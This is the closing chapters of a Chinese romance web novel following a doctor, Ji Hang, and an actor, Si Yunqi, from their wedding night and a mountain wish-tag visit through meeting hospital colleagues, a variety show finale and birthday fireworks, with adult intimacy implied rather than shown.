人的精力一定是有限的，季杭想，他昨晚没睡好，一大早去季满谦那把昨儿夜里已经被拖过三遍的地又拖了四遍，沙发上角落里的狗毛都找得一丝不剩，又把俩狗全身捋了一遍带着他们满屋子贴囍字，最后看着俩大胖家伙，给他们背上又各自贴了一个才算完。
中午和家人吃饭，在他们眼皮子底下和司云起互戴戒指。下午来爬山，一下没歇，连累都顾不上想，光紧张自己背包里的婚书了。
这一天结束，他只想抱着司云起好好睡一觉。
所以他试图说服司云起，但这事儿用正经语气来讲会很怪。
试想，他用平常的语气说：“我不做，我好累。”
不行，这句话一定不适合出现在他们这两个几个小时前刚为彼此戴上戒指还赠予了婚书的人之间。
“司老师，”季杭靠在司云起胸前，抬头亲了亲他的下巴，手在人家腹肌上，边摸边撒娇：“我好累了，咱们能不能明天再做。”
司云起不动声色：“早就已经过了零点了。”
季杭又仰头亲亲他，“那后天再做。”
司云起不为所动：“不行。”
“刚刚不是有过一次了嘛，”季杭亲亲他胸口，“我想抱着你睡觉。”
“没有，”司云起说。
“？？？”季杭猛地坐直了，“你失忆了，在浴室我们……”
司云起把人拉回来，问：“怎么这次说话不亲了？”
季杭便亲亲他嘴唇，“浴室不是已经有过一次了嘛，你肯定是太累忘记了。”
司云起说：“没进去。”
“？”季杭忍不住了，又从他怀里挣脱，看看他面不改色的表情，目光下移盯着他手指，“你说没进去？”
司云起：“手不算。”
好好好，季杭去亲他的眼睛，亲了两下，“但是出来了吧。”
司云起“嗯”了一声，慢条斯理地拿过一旁的东西往手上挤，“不算。”
季杭：“……”
司云起说：“准备工作罢了。”
季杭沉默地看着他。
司云起又说：“婚书都念了，今晚不是我们的洞房花烛夜么。”
“有道理。”季杭一下就被说服了。
不知道过了有多久。季杭睡过去一次，没几分钟就醒了，司云起俯身亲他眼睛，他开始反思，觉得自己有点过分。虽然并不是第一次，但确实不太尊重他们这一夜。
他全身酸软得厉害，嗓音又哑又颤，说：“换一下。”
即便次数不多，季杭能感觉到司云起很喜欢这样。抬头能亲到嘴，低头能吻遍心口。
他忽然问：“有没有觉得还少点什么？”
司云起说：“这次没戴，我弄外面。”
季杭脸一红，“我又没说这。”
“那少什么？”司云起问。
季杭停顿了好一会儿，司云起不催也不动，安静地沉在他身体里。
“少了个称呼，”季杭说完后凑近司云起耳朵，舔了一下，嗓音缱绻：“老公，我爱你。”
…………
…………
终归是一夜没睡，去洗澡的时候季杭眼皮都睁不开了，到床上后身边的人迟迟没过来。他阖着眼拍拍旁边的位置，喊：“司云起。”
司云起拿着婚书坐过去，季杭察觉到后蹭到他身上，声音含混不清：“睡觉了。”
“季杭。”司云起轻声说。
季杭应声。
“我最爱这句，”司云起慢慢开口，“四季春秋，我心匪石。”
“其实这句是我爸改的，原本是冷暖相知，他改成了我心匪石。”季杭解释说。
“后来我也觉得改后更好，我心匪石，不可转也。”季杭在半睡半醒间呢喃，“司云起，我真的好爱你。”
“我知道，”司云起抱紧他，把“我最爱你”重复强调了很多遍。
昼夜颠倒而眠，醒来还是相拥。
在房间里闷了一天一宿，他们去楼下吃东西，季杭突然想起自己曾挂下的许愿牌。
“去看看还在不在，”季杭说。
司云起道：“被你缠了那么多圈，还能掉了？”
“不看我的，”季杭拉着他过去，“看你的。”
综艺第二期体验挑山工，当时整个综艺团队的人都写了，季杭找到过司云起那张。
之前找到过，现在也找到了。
“啧，”季杭看着许愿牌边念边摇头，“祝我前路顺利，怎么不祝我得偿所愿，竟然有人在许愿牌上写这个。”
“没的可写，当时就想问你这句，就写了。”
“扔了它，”季杭解开它，“重新写一个。”
把解下来的拿手里，季杭转身去买，回来时意外瞥见一个很眼熟的身影。
他问：“你看那个人熟不熟？”
司云起说：“韦流竹。”
“怎么就他一个人，”季杭纳闷道。
韦流竹鬼鬼祟祟的，帽子口罩比司云起戴得还全，正弯腰翻找着许愿牌。
他转着找了一路，遇到俩不让路的硬茬，低头说了好几遍“让一下”，俩人就是不让。气的他站直了，要气冲冲绕开时，看清不让路的两个硬茬。
“季医生，司老师？”韦流竹摘了帽子，诧异道，“你们在这干嘛。”
季杭说：“爬山，你呢。”
韦流竹接话：“我也爬！”
“刚来？”季杭随口问了声。
“对，”韦流竹说，“刚爬上来，挂个许愿牌。”
季杭看了看他空荡的双手，韦流竹立刻就不打自招，“好吧我坐了一半缆车，没挂许愿牌，来找我之前挂的呢。”
“找那个干嘛？”季杭问。
韦流竹说：“和你一样呀，季医生，你不是也来解许愿牌了嘛。”
“嗯？你怎么知道我来解许愿牌了？”
“啊？我以为你看到网上发的了呀。”
季杭懵了，和司云起对视一眼，“网上发什么了。”
“综艺播了之后好多粉丝去拍摄地打卡嘛，昨天有个来这里的粉丝，看到了那张写着‘司云起眼睛快好起来永远不受伤’的许愿牌，拍下来发到了网上，你们去看看广场上，全在哭。”
“哭什么？”季杭没明白。
“天呀，字先刻上去再用笔描，绳子都褪色成那样了还挂了十年，”韦流竹说，“这还不哭。”
“那你…”季杭迟疑，“你也来解许愿牌是……”
“我怕我写的有朝一日也被粉丝认出来，先自己解了。”韦流竹叹了口气。
夜幕降临，有故事的人眺望远方，启唇开讲。
“我悄悄写了一张，还没找到，麻烦你们帮我找找吧，”韦流竹说，“上面是QY要幸福，落款WLZ。”
乔炎要幸福……
韦流竹问
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：“季医生，有酒吗？”
季杭说：“有红牛。”
“那算了，”韦流竹一脸的怅惘，“酒不醉人人自醉。”
司云起告诉季杭：“前天我见乔炎也是这么副模样。”
韦流竹蹭地转头，“乔导他、”
“他没事。”
“被我拒绝了，他一定很失落，”韦流竹说，“但是我和他能怎么办呢。我的粉丝陪伴着我投我出道，活动和周边她们卡点抢票购买，花了很多很多钱，付出那么多的精力。我很清楚，没有她们给我的滤镜和支持，没有她们疯狂安利我，我不会走到今天。我觉得她们是世界上最好的女孩子，是她们让我的事业更上一层楼，我现在还在上升期，怎么能谈恋爱呢。”
司云起道：“乔炎都明白，也没你想的那么颓废。”
韦流竹摇头，吸了下鼻子，“司老师你刚还说前天见乔导和我一副模样的。”
“后来好了，”司云起嗓音稍许冷淡，“我想安慰他几句，他突然说，我和季杭分开十年都能走到一起，他有什么可丧的。”
闻言韦流竹也好了。
“对哦，你们分开十年没见过面都还能走到一起，我和乔导又不是老死不相往来了，等几年就等几年，没关系。”
季杭：“……”
“咱俩走吧，”季杭看司云起。
司云起：“走。”
韦流竹：“哎呀，季医生司老师，你们帮我找找。”
三个人翻找了半小时，终于找到了。
韦流竹握着许愿牌给司云起，“司老师，你能不能帮我转交给乔导，就说这是……这是定情信物！暂定三年，要是三年后他还喜欢我，拿着许愿牌来找我，我一定答应他，见牌如见人，一定不反悔！”
司云起拒绝：“太长了，转达不了。”
韦流竹眼神求助季杭。
“还是自己给吧，”季杭劝他，“把话都好好地说清楚，不要留下误会和遗憾，就算不能在一起，喜欢也不是错误。”
韦流竹默默把许愿牌收起来，“好。”
季杭买了一摞许愿牌，他分给韦流竹一个，“给你，重新许个吧。”
韦流竹接过后跑到一边去写了。
“给你一个，”季杭递给司云起。
司云起没接，“我没有可写的了。”
季杭硬塞到他手里，“写！不然浪费，写和季杭长长久久。”
司云起挑眉问：“这还用写？这不是事实么。”
“想看你写，想看你写很多遍，还想看你用左手写，”季杭使出杀手锏，低声轻喊，“老公。”
司云起按捺了很久，克制住自己摘下口罩去亲人的念头，一连写了五张。
“JHSYQ长长久久。”
“JHSYQ好一辈子。”
“家人朋友平安幸福，JHSYQ。”
“起司、两个影子、今我来司一切顺利。”
还有一张空的。
他们一起绑上去，韦流竹也走了过来，“季医生，你们什么时候回去？”
“马上就回，”季杭说，“明天上班。”
“哦，”韦流竹象征性地问司云起，“司老师，你呢？”
“暂时没工作安排了，”司云起勾着季杭的手，“接男朋友上下班。”
韦流竹一直很擅长问问题，就如此刻，他其实没好奇，就是嘴快，追问了句：“不接上下班的时候呢。”
司云起：“在家做饭，等男朋友下班。”
季杭心要软化了，决定亲司云起一下。
于是和韦流竹再见后，他趁机拉下司云起口罩，飞快地啄了一下。
韦流竹回头后又转正了，心道，其实真没必要多么难过，季医生和司老师分开十年都能走到一起，自己和乔炎有什么可怕的。
如果他和乔炎也能喜欢对方很久，也一定会很幸福的。好了，晚上做梦素材有了。
季杭和司云起在下山路上，发了条微博。
韦流竹看到的时候已经是半夜了，热搜上高高挂着一个词条。
#司云起挂许愿牌#
他点进司云起的微博，看到他发了三张照片，都是许愿牌。
第一张写着：起司、两个影子、今我来司一切顺利。
第二张是：家人朋友平安幸福。后面马赛克匿去了JHSYQ的署名。
第三张是空的。
有很多粉丝问第三张是不是发错了，上面什么字也没有。
司云起回复了一条——
“这个许愿牌，留给屏幕前素未谋面、始终陪伴且喜欢我们的你。”
111.综艺收官
上下班的点，医院门口总有辆不怎么起眼的车。
季杭每天早上从车里出来，中午去车里待十几分钟，出来的时候拿着饭盒。
科室里的晓寻打趣，说这么多年，终于看到季杭谈恋爱了。
谈这个时季杭刚拿着家里那位送来的午饭，吴言边吃饭边和他老婆视频，耳机没电了，摘耳机的功夫听见季杭谈恋爱了，他惊讶道：“真谈了？啥时候安排和弟妹吃个饭。”
季杭还没回，晓寻先说：“吴哥，和嫂子视频还分神啊？”
吴言对视频那边说：“好的老婆，爱你，你挂吧。”等着挂断后端着饭盆凑过去，问季杭：“啥时候谈的？”
“有段时间了，”季杭说。
吴言问：“之前那么多次要给你介绍你都不要，原来是想自己谈啊，你俩咋认识的？”
晓寻说：“吴哥，你问那么清楚干嘛。”
“聊天呢这不是，”吴言说，“这家伙单了这么多年，我还真挺想见见他喜欢什么样的呢。”
季杭笑了笑，说：“我们是打篮球认识的，后来我一直暗恋他。”
吴言惊道：“弟妹还会打篮球啊？”
晓寻心道，你一口一个弟妹，你弟妹拉过来比你还高。
季杭点头。
“那弟妹身体素质肯定很好。哦你说你暗恋是吧，怪不得不让别人给介绍，”吴言说，“恭喜你啊，修成正果了。准备订婚了吗？”
“已经订了。”
季杭话大多简洁，但对于吴言来讲，一句句简单的话无异于惊雷。
“订了都？啥时候结？啥时候备孕要孩子？我跟你说，月子中心非常重要，一定要给弟妹选好的。月嫂更是，你们别嫌我絮叨，我是过来人，给你们传授经验，真正好的月嫂都不在市面上流通的，一切都得提前准备。我们那月子中心……叫啥来着，我想想，等我发给你，到时候省得你找了。”
季杭说：“不用了哥，我们用不着。”
“哎，别客气，”吴言往嘴里塞进最后一口饭，“我实在想不起来叫什么了，等我回去问问我老婆发给你。”
晓寻见吴言去洗碗，朝季杭做了个无奈的表情，说：“你看吧季医生，我就说咱同事没几个上网冲浪的。”
季杭笑道：“太热情了他。”
到下班点后，季杭先换了衣服出去。吴言和晓寻一起往外走，嘴里还在念叨，“咱们聚个餐吧？”
晓寻立马拒绝：“大伙儿的排班都不一样，不好挑日子。要是挑中哪个同事休班的时候，对人家来说跟上班似的。”
吴言“哎”了一声，“我这不是想见见季杭女朋友吗，会打篮球，让他暗恋那么久的人，真好奇。”
晓寻眼珠转了两圈，突然问：“吴哥，要是我喜欢女生，你觉得……”
“怪不得你也不让介绍……”吴言恍然。
行，虽然不上网，但思想还挺开放的。晓寻说：“吴哥啊，别纠结弟妹的事儿了。季医生长那么好，喜欢他的男人也很多的。”
“比如呢，”吴言道。
晓寻心道，说出来吓死你。
“你说呀，”吴言催促。
晓寻隐晦地说：“季医生之前不是去综艺当随队医生吗，肯定有很多人喜欢他。”
“本来我也得去的，没去成，我就知道那综艺里有影帝司云起，我妹妹可喜欢他了，我也看过他的电影——”
晓寻纳闷地看向吴言，“哥，你咋不说话了？”
吴言半张着嘴，瞪圆眼睛盯着前面十来米处的两个身影。晓寻顺着他的视线看去，发现季医生和戴着帽子的司云起站在小摊前，正在买葡萄。
吴言脑子飞快转动。
季杭身边的人好眼熟！到底在哪里见过？是之前的病人吗？不是，一定不是！难道是大学同学吗？不不不，不可能！哦！在妹妹房间里的墙上！啊！在电影院里！天啊！在他刚刚的脑子里！
站在季杭身边的人，是司云起！
那……这些天接送上下班的人，每天来送饭的人，都是司云起？
所以会打篮球的、被季杭暗恋很久修成正果的、连婚都订了的人……是司云起？！
他喊了那么多声、还要给人家推荐月子中心介绍月嫂的弟妹……是司云起？！
买完葡萄，俩人转身回车上，见着僵站原地的两位同事。
季杭愣了下，对司云起说：“我同事。”
司云起嗓音轻挑：“季医生打不打算介绍同事认识我啊？”
“要是不介绍呢？”季杭配合着说。
司云起：“那就是季医生打算金屋藏娇，你好爱我。”
季杭忍着笑意，“介绍呢？”
司云起说：“你和同事公开我们的关系，你好爱我。”
“对啊，我好爱你的，”季杭拉了下他的手腕，“走吧，介绍你们认识。”
眼前的俩人越近，吴言就越是惊讶。直到季杭带着司云起走到跟前，他半愣半清醒间听到季杭说：“晓寻、吴哥，我男朋友，司云起。”
紧随着季杭对司云起说：“晓寻，吴言，他比咱们大几岁，喊他吴哥就行，先前综艺定了两个随队医生，另一个就是他。”
司云起朝他们点点头，“晓寻，吴哥。”
吴言半仰头，几秒后，蹦出来三个字：“弟、妹、好、”
说完他立马意识到不对，摇摇头，“弟夫、不对。”
司云起笑了笑，“叫我云起吧。”
吴言咽了口唾沫，转头见晓寻一直没说话，他胳膊肘碰碰人，问：“你咋不说话。”
晓寻夸得真心实意：“司老师，你比电视上还帅。”
“怎么样，”季杭说，“我找男朋友的眼光还行吧？”
吴言“咦”了声，“中午你还说暗恋云起很多年呢，怎么给你介绍对象你都不要。”
季杭余光瞥司云起一眼就知道这家伙要说什么，及时捏了下他的手，司云起很识趣地换了句话，“晓寻、吴哥，谢谢你们对季杭的照顾，我请你们吃饭吧。”
“不用，”吴言掏出随身携带的便利贴和笔，“签个名儿就行，我妹妹可喜欢你了。晓寻，你要不要？”
“我就不用了，能见到司老师已经很开心了。”
吴言把签好名的便利贴小心收好，“我们哪照顾过季杭啊，刚开始做同事的时候，他都没怎么和我说过话，那会儿我寻思这个人不好相处呢。这些年，他甚至连替班换班都没提过。”
季杭说：“提了，今天刚和主任说的，连上半个月，多休几天。”
“出去玩？”吴言打听道，“我和你们说，这个季节建议你们……”
“吴哥，下回再听你的建议，这次我们有安排了。”季杭笑道。
“好吧。”
坐到了车上后，司云起问：“半个月后打算带我去哪儿啊，季医生。”
季杭蹙眉：“司云起，你能不能说点正常的称呼。”
“那……”司云起思考两秒，“宝宝，半个月后打算带我去哪里？”
季杭脸有点红，“你怎么喊这个。”
“超话里和评论区很多这样喊你的，她们能，我不能？”司云起委屈上了，轻叹道：“怎么区别对待啊。”
“我不适合，”季杭不好意思道，“你换一个。”
“好的，”司云起从善如流，“亲爱的，所以你到底打算带我去哪？”
打算回答时，季杭猛地想起他之前在今我来里和一个昵称叫“收走所有小米”的人聊过天。
他顿时警觉，不动声色道：“想看看你手机。”
司云起眼神示意他随意。
解锁手机后找到今我来，点进去，登录的是司云起的号没错。但是……虽然他没试过，但应该是能切换账号。
果不其然，切换账号里，另一个就是“收走所有小米”。
司云起问：“发现了？”
“人果然不会从男朋友的手机里笑着走出来，”季杭感叹。
“这么深的感悟呢。”
季杭没好气道：“借我瓶水被你认出来，这是我的疏忽。但、这次我已经把昵称改得很大众了，你怎么还能认出来？”
司云起为他答疑解惑，让他点进设置，点开推送设置，季杭看到了导致他暴露的元凶。
“当时我的手机提醒，附近十米有人发动态。我附近十米，只有你一个人。”
季杭深深地叹了口气。
司云起安慰他：“没关系，那会儿我要你手机就是把你的推送都关了。”
季杭很是认真地复盘：“怪不得那天你去找成芜了，我还好奇你怎么突然去问她，原来问题在这儿。”
“不止。”在等红灯，司云起看着季杭，“你的爱藏不住的。”
“我、”季杭试图辩解。
“你发烧那夜，我去搬你的行李，见到你的房东了。”
季杭辩无可辩。
“房子还有三个月到期，你说五天内会搬走。他一直对你说不急，但你很急，后来你说的话他没听懂，所以去找你，想确认你没事。”
红灯转绿，司云起看向前方时，又听到这人在叹气。
“懊恼自己漏洞百出么，”他问。
季杭摇头，说：“不。我在感谢我的漏洞百出。它们让你感受到了被爱，我感谢它们。”
司云起忽地无声。
许久，他喉结滚动，“亲爱的，你真的很会爱人。”
遗憾太多了，稍不留神它就钻过缝隙大摇大摆地出现在两个
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人之间。
季杭手很不老实地往司云起某个部位按了下，打破了彼时渐渐沉重的气氛，然后拉过他的一只手放在自己腹间，轻声说：“我只会爱你，你感受到了吗。”
在别人面前淡漠疏离的季医生，在司云起身边时，生动又坦然，大方地展示着他的所有情绪和情.欲。
一时间司云起忘了自己要问点什么，到家后浴室和落地窗前都留下痕迹，回到卧室才想起来。
他顶了顶，贴近季杭耳边，问：“亲爱的，半个月后到底要带我去哪里？”
季杭仰起脖颈喘了很久，说：“小悠说不能提前告诉别人，综艺最后一期收官环节的神秘嘉宾是我。”
司云起吮着他的侧颈，“那怎么告诉我了？”
季杭说：“不说的话，你肯定还要很久。”
“猜错了，”司云起轻笑，“亲爱的，你说了我也还会很久。”
…………
半个月后，综艺最后一期正片录制结束，通俗来讲，煽情时间到了。
小悠隆重介绍神秘嘉宾，所有人都被钓足了胃口。
等神秘嘉宾出场的那一刻，人们探着脖子看，看清来人后，很是一致地称呼他：“影子哥！”
在众人面前，司云起装着不知情，对昨晚和他睡在一起、刚从他房间里过来的人说：“怎么连我也瞒着。”
韦流竹看笑话道：“嘿嘿嘿，司老师也不知道呀。”
小悠是唯一的知情者，因为她要给季杭安排房间。但季杭拒绝了并称他有地方住，那一刻小悠就明白，司云起早就知道。
此刻她看着司云起演得滴水不漏，不禁感慨，不愧是影帝。
嘉宾们聚在一起，回忆往期深刻的事情，诉说自己体验很多种生活的所想所感，然后拍下一张大合照。
和第一期的合照很是相像。季杭和司云起还是站在边缘，只不过第一期时季杭脸上被蹭满了黑，现在的他戴着帽子和口罩。
拍好后工作人员去收拾现场，韦流竹问艾宣：“听说你团里的人都签到司老师工作室了？”
“对，”艾宣说，“明显感觉到我现在说话有分量了。”
邓承笑着问：“怎么说？”
“就拍摄来说，以前和现在比，简直是一个地下一个天上，他们知道我是司老师工作室的艺人，对我好客气的，以前真的不是，经常被大吼。我真的体会到了什么叫背靠大树好乘凉。”艾宣信誓旦旦，“我一定会好好工作回报老板的！”
韦流竹羡慕道：“说的我也有点想签司老师工作室了。”
潘同说：“你合约是不是没多久了。”
“还有几年，”韦流竹说，“我说着玩呢。不过这综艺真是我的贵人，我涨了好多粉，有好几家公司找人递话让我去他们那。哦对了，你们知道吗，丁熙年那个公司内斗了。”
“听说了点，你具体讲讲。”
“舆论那么大，他公司的艺人多多少少也受影响，资历老的艺人不续约，好几个经纪人带着艺人出走了。公司股东老一套的思想，天天闹。丁熙年他老爹往这公司哐哐砸钱也留不住人，这会儿公司内部基本上是个空壳了。”
邓承道：“真没想到，有一天还能见到那家无良公司的倒塌。”
见别人好奇的目光，潘同解释道：“我和邓承以前被半雪藏，他们干的。”
“真是倒的活该，”韦流竹骂道，“丁熙年跑国外去了，他现在名声烂得要死。他老爹公司股票亏死了，应该也拿他出气。还有那部丁熙年的大男主电视剧，哈哈哈哈哈，剧方被审判得不轻，为了平息舆论，演员表的男主改成露脸是丁熙年，打戏是司老师。活久见了真的是。”
“我记得以前还有许凡君和丁熙年他爸结婚的新闻呢，得亏没结，不然肯定影响她。”潘同说，“好多年没她的消息了。”
“是啊，后来她隐退了，也不知道现在怎么样。”
司云起平静地接话：“她在一个很温暖的城市定居了，生活很好。”
“这样啊。”
旁人点点头，不再询问。
季杭握紧司云起的手晃了晃，对上他平和的视线，逐渐放下心。
合照发到了群里。韦流竹这次才加上季杭的微信大号。
他看着季杭的头像，又切回去看司云起的头像，“小鸡和小米，你们的情侣头像好独特呀。”
“很明显吗？”季杭说。
韦流竹点头，“超明显的。”
季杭喃喃：“怎么十年前我就没看出来呢，我还以为你喜欢的人缩写是xm。”
司云起再次问出十年前的那个问题，“季杭，你看着小米，想不想啄两口？”
季杭点头，把他拉到一边，摘下口罩后，凑过去啄了好几下。
112.借我瓶水
综艺历时五个多月，末尾的时候，综艺录制单人cut。
临时放置的幕布上投着视频，那是第一期采集嘉宾们想对综艺结束后的自己说的话。
艾宣一头舞台妆，表情里还有几分融入新集体的局促，眼睛亮晶晶的，对镜头比了个心，嗓音轻快：“艾宣啊，你一路都很勇敢哦，以后的路也继续勇敢吧！”
“这真的得夸夸艾宣，好几次让我刮目相看了，”邓承说，“真的很勇敢。”
韦流竹：“我记得哪一期播了之后，网上评价艾宣，雌鹰中的雌鹰。”
艾宣惊讶道，“真的啊，我没看到，等下我要去搜搜。”她朝幕布上的自己竖起拇指，“你这五个月表现不错，不骄不躁，继续努力！”
下条视频是韦流竹，他说的是“真诚待人珍惜粉丝”，视频暂停在最后“珍惜粉丝”四个字上，他不经意瞟了眼远处的人，表情并不失落，笑着寻求认同：“怎么样，虽然只是五个月，但我也没有忘初心哦。”
潘同和邓承给他鼓掌，艾宣很是老成地拍拍他的肩，“小韦啊，我代表咱们团队给你颁个不忘初心奖吧。”
韦流竹说：“艾总，麻烦您准备好奖，然后请咱们导演来给我颁。”
到了邓承这儿，他听着五个月前的自己问到综艺结束的时候是不是一切都好了，笑着说：“还真是都好了。以前想减重，没毅力，这五个月瘦了十斤，减重成功。”
五个月前的潘同问有没有每天和老婆打视频，五个月后的现在，潘同在悄悄拿手机录音准备发给老婆听。
最后的cut是司云起。
那时的司云起脸上没表情，声音也听不出情绪，问了句：“你得偿所愿了么。”
现在嘉宾彼此之间都熟了，起哄问：“司老师，你得偿所愿了没啊？”
司云起抬眼注视着坐在镜头外的人，目光温柔，应下他们的起哄声：“嗯，得到了。”
季杭与他长长地对视，听着他们讲五个月之前的事。
他们口中的曾经和现在串联在一起，在变好，也什么都没变。
某刻季杭忽然意识到，他和司云起之间，并非只有难以释怀的十年。
一句借我瓶水拉开了他们青涩躁动的喜欢，兜转十多载冬去春来，他们沉溺过去却再不能回头。迷茫失措那么久，无解的相爱从司云起看到借我瓶水四个字时被破局。
因为季杭用了借我瓶水四个字，因为司云起记得借我瓶水这句话。
所以分开十年，他们还是能走到一起。
“季医生，”韦流竹见拍摄全都停了，凑过去坐到季杭身边，“你在想什么？”
季杭问：“你有什么印象很深的事情吗？”
“印象深？还挺多的，”韦流竹小声说，“但是你一问我，我第一件想起来的是乔导教我跳舞。我跟你讲，其实他跳舞很烂的，但他特意去学了呢。”
“季医生，那你呢？”韦流竹说完了问道。
季杭说：“我喜欢的人，曾找我借过一瓶水。”
韦流竹张大嘴巴，他视线流转在季杭和司云起之间好久，“这就是你微博昵称的由来呀？”
季杭点头。
韦流竹只觉得自己的心脏被猛地击了一下，忍不住感慨：“怎么能有人相爱成这样啊……”
乔炎从一旁经过，韦流竹站起来整理衣服，匆匆道：“季医生，我去和乔导告个别。”
身边空下来后，很快被另一位占上。
季杭坐姿很不板正，左右晃着，有一搭没一搭地蹭过旁边那位的肩膀。
终于那位忍不住了，好意提醒道：“季医生，你想靠我的肩就靠。”
季杭瞥他一眼，说：“司老师，你真的想多了，我就乐意蹭你。”
司云起扬着语调“哦”了一声，意有所指似的，“季医生一句话说的，让我也有点想蹭了。”
“……”季杭一脸正色，“司云起，这么多人，你闭嘴。”
司云起却道：“要不要跟我走。”
季杭刚正不阿地摇头，没坚持过三秒，直接跟人走了。
好几个人问他们怎么走这么早，季杭脚步快快的，语气也快快的：“回去有些事，拜拜。”
本以为是回司云起的房间，没想到上了司云起的车后，这家伙一连气开出去十几公里。走得越远季杭越不解，他迟疑着问：“司云起，是必须得回家才能做吗？”
司云起好像在忍着笑，说“不是”。
越开越到没人烟的地界，季杭立马又有了个想法。不会吧……
又过了十几分钟，季杭耐着性子没问，但停车的时候他还是有点紧张。
司云起见他不动，去给他解安全带。季杭缩了一下，一脸舍命陪君子的表情，“司云起，也就是我爱你。”
安全带松了后，季杭说：“咱们、咱们得去后排吧……”
司云起已经打开了车门，“下车。”
“下车？”季杭不可置信地看着司云起背影，坚决不下。
等司云起绕到他这边打开车门后，季杭宁死不屈：“不可能的司云起，我只能接受在车里，在外面……你死了这条心！”
司云起沉默了几秒，回答说：“在车里空间不够。”
“怎么可能不够！”季杭回头边看边说，“座位放平就好了啊！”
“亲爱的，”司云起挑了下眉。
季杭摇头，“你叫亲爱的也没用，叫什么都没用。”
“不是，”司云起问，“我想给你放场烟花，你一路上都在想些什么。”
“放、放烟花？”季杭的意识混乱地崩塌，“你带我来是放烟花？”
司云起点头，“你以为呢。”
季杭坐直了，梗着脖子咳嗽两声，“那会儿你说想蹭，我就以为……”
“烟花不是噌地飞上天炸开么，你以为是什么。”司云起堵着门，一副他不给出令人满意的回答就不让开的架势。
季杭索性破罐子破摔，“蹭我！我以为蹭我！”
司云起满意了，从后备箱里搬出烟花。
季杭凑过去问：“为什么来这里放啊？”
“这是只为你一个人放的烟花，”司云起说，“所以找个没人的地方。”
季杭隐隐有些激动，他又追问：“是什么日子吗，怎么今天放啊。”
“明天是你的生日，”司云起弯着腰说。
季杭便看了看手机，“还没到零点呢。”
司云起已经点燃了烟花，牵住季杭的手后退几步，说：“你看。”
烟花飞上夜空，在黑暗中消匿两秒，顷刻间绽出耀眼夺目的光辉，化成星星坠落时，夜空中留下jhsyq五个字母。
在最后一抹光亮即将消失时，司云起贴近季杭耳边，告诉他：“是明天生日，但你可以提前开心。”
季杭稍一偏头就吻到了司云起的嘴唇。
都说烟花稍瞬即逝，因爱绽放的烟花却只是离开了视线，在心里长亮。
开车跑了很远只为了去放场烟花，回到酒
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店时刚好卡着0点。
季杭指着手机说：“司云起，零点了。”
“生日快乐，”司云起说，“季杭，我喜欢你。”
他们之间早就把爱说过很多遍了，乍然听到喜欢二字，季杭反应了几分钟才意识到，那是司云起在弥补十八岁时没被自己听到的告白。
所以季杭很用力地点头，亦是在回应十八岁的司云起。
那夜最是漫长，只因为他提了一句“如果十八岁在一起了”，司云起的索取就变得无休无止。
季杭每次受不住时，司云起掐着他的腰把人拽回来，说要把当年的都补回来。
导致隔天综艺团队的人都走完了，小悠联系不到他们，走的时候很贴心地给他们把房间又续了一天。
季杭腰酸得要命，“司云起，你还以为我十八呢？”
司云起撩开他额前散乱的头发，落下一个吻，“意思是十八就能再多做几次么。”
季杭：“……也不是。”
“懂了，”司云起把温水递给他，看着他喝完，“还没补够，季杭，不算以后该有的，以前的你还欠我很多次。”
“……”季杭强忍腰酸，按捺着想打人的冲动，“司云起，我生日二十四小时，现在已经过完十四个小时了，难道你的安排就是全待在房间里吗？”
司云起把衣服找出来让他穿上，“咱们去个地方。”
路程远，季杭又被折腾一晚上，司云起特意买了高铁商务座。
季杭看着目的地，“司老师，原来是要带我去看山楂树啊。”
综艺第一期雨夜里那棵被他们一起保护过的山楂树活了，长得很好。很多粉丝去打卡拍照，称它为爱情树。
“睡觉吧，”司云起抬手蹭了下季杭的眼尾，“你昨晚没休息好。”
季杭阖上眼，没几秒又睁开，“你也睡吧，毕竟你消耗体力也挺多的。”
司云起“嗯”了一声，却没闭眼的打算。
季杭送上自己的手，“喏，司老师牵着吧，我陪你睡。”
列车呼啸，外面的风景一帧帧闪过。
司云起握紧季杭的手，此刻代替过往，他竟然真的睡着了。
某刻突然惊醒，掌心空了，但残存的温度还在。无法形容的感受迅速蔓延心头，他猛地站起身，正好看到季杭回来。
见司云起情绪有些不对劲，季杭轻声哄人：“肯定是昨晚那什么太久了，我嗓子又哑又干，刚才渴醒了，没见到乘务员，就自己去那边接了一杯。”
“我没消失，”季杭说，“没有提前下车，十年前也没有。”
司云起抬眸，目光中带着询问。
“我去了另一节车厢，亲眼看着你下车，”季杭告诉他，“其实我从来都没有离开，别怕。”
良久，司云起闭眼，点了点头。
夜里，季杭请村民帮他和司云起在树下拍了张合照。
回程时还是高铁，他们一同上车，并肩从同一站下车，回到他们的家。
犹如十年前那般，从未分离。
后来很久。他们牵手走在市井长巷，也挤过人间烟火。
常常被人认出来，网络上还是一点季杭的信息也没有。
司云起曾说，他会走进季杭的生活里。
他做到了。
＊
相爱的人拥有豁免权，那是命运赠予他们深爱的奖励。
所以别怕。
他们总有新的力量指引重逢。
——全文完——